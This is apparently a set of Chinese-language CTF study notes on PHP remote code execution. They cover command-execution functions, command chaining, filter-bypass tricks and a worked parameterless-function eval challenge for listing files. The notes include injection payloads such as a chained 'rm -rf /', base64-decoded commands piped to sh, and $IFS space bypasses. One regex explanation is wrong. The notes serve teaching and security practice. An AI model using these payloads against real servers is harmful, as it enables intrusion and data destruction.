RCE漏洞
RCE(Remote Code Execution,远程代码执行)是一种常见的安全漏洞,允许攻击者通过远程注入操作系统命令或代码来控制服务器。RCE漏洞主要分为远程命令执行(Remote Command Execution)和远程代码执行(Remote Code Execution),有时也将文件包含漏洞(File Inclusion)归为RCE漏洞
RCE漏洞的成因和影响
RCE漏洞的出现主要是由于应用系统在设计时需要提供远程命令操作接口,如果这些接口没有进行严格的安全控制,攻击者就可以通过这些接口注入恶意命令或代码,从而控制服务器。这种漏洞可能导致严重的安全问题,包括数据泄露、系统被控制等
1.基础命令执行函数
1.system() 直接执行字符串形式的操作系统命令,返回命令执行结果,常用于需要直接获取输出内容的场景
若用户输入未过滤,可直接注入命令(如system($_GET['cmd'])
)
2.exec() 执行操作系统命令,仅返回执行结果的最后一行,若需获取完整输出需配合额外参数(如数组接收结果)
通过追加&
或;
拼接隐藏命令(如exec("ping ".$_GET['ip']." & rm -rf /")
)
3.passthru() 执行命令后将运行结果直接输出到标准输出设备(如浏览器或终端界面),不返回内容
4.shell_exec() 执行命令后返回完整的执行结果字符串,但需通过echo
或变量赋值输出内容
隐蔽性强,常用于无回显的RCE攻击链
2.进程级命令执行函数
1.popen() 打开一个指向进程的文件指针,允许通过读写文件流的方式与命令交互,适用于持续输入/输出的场景
2.proc_open() 与popen()类似,但提供更复杂的进程控制功能,允许设置输入/输出/错误流的管道
3.pcntl_exec() 在当前进程空间内直接替换为指定程序执行,不创建新进程,常用于PHP环境下的高级操作
3.特殊符号与语法
1.反引号 反引号包裹的字符串会被解析为操作系统命令并执行,功能等价于shell_exec()
2.管道符拼接 利用|
、&
、&&
、||
等符号拼接多条命令,绕过简单过滤(如cat /flag | base64
)
4.绕过过滤的常见方法
1.命令替代 使用more
、less
、tac
等替代cat
读取文件,或通过curl file:///flag
直接访问本地文件。
2.编码绕过 对命令进行Base64、16进制等编码后解码执行(如echo "Y2F0IC9mbGFn" | base64 -d | sh
)。
3.空白符绕过 利用$IFS
、${IFS}
、%09
(制表符)替代空格分隔参数
无参数读文件
什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
例题:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
代码解析
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
preg_replace替换匹配到的字符为空
\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
(?R)?这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数
无参数任意文件读取
正常情况下查看当前目录文件名
print_r(scandir('.'));
第一种方法
localeconv()
localeconv()获取本地化数字及货币格式信息的函数,数组第一项就是"."
字段名 | 描述 | 示例值(C 区域) |
---|---|---|
decimal_point |
小数点字符 | . |
thousands_sep |
千位分隔符 | , |
int_curr_symbol |
国际货币符号(如 USD) | USD |
currency_symbol |
本地货币符号(如 $) | $ |
mon_decimal_point |
货币小数点字符 | . |
positive_sign |
正值符号 | 空字符串 |
negative_sign |
负值符号 | - |
current()返回数组中的单元,默认取第一个值
print_r(scandir(current(localeconv())));
成功打印出当前目录下文件:
第二种方法
chr(46)
chr(46)就是字符"."
chr(time()):
chr(time()%256)`,随时间周期性生成 `.
chr(current(localtime(time()))):
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."
第三种方法
phpversion()
PHP版本,如5.5.9
floor(phpversion())------5
sqrt(floor(phpversion()))------2.236
tan(floor(sqrt(floor(phpversion()))))-------2.185
cosh(tan(floor(sqrt(floor(phpversion())))))------4.501
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))------45.081
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))------46
最终使用
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
第四种方法
crypt()
crypt()
可以生成带 .
的哈希
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
1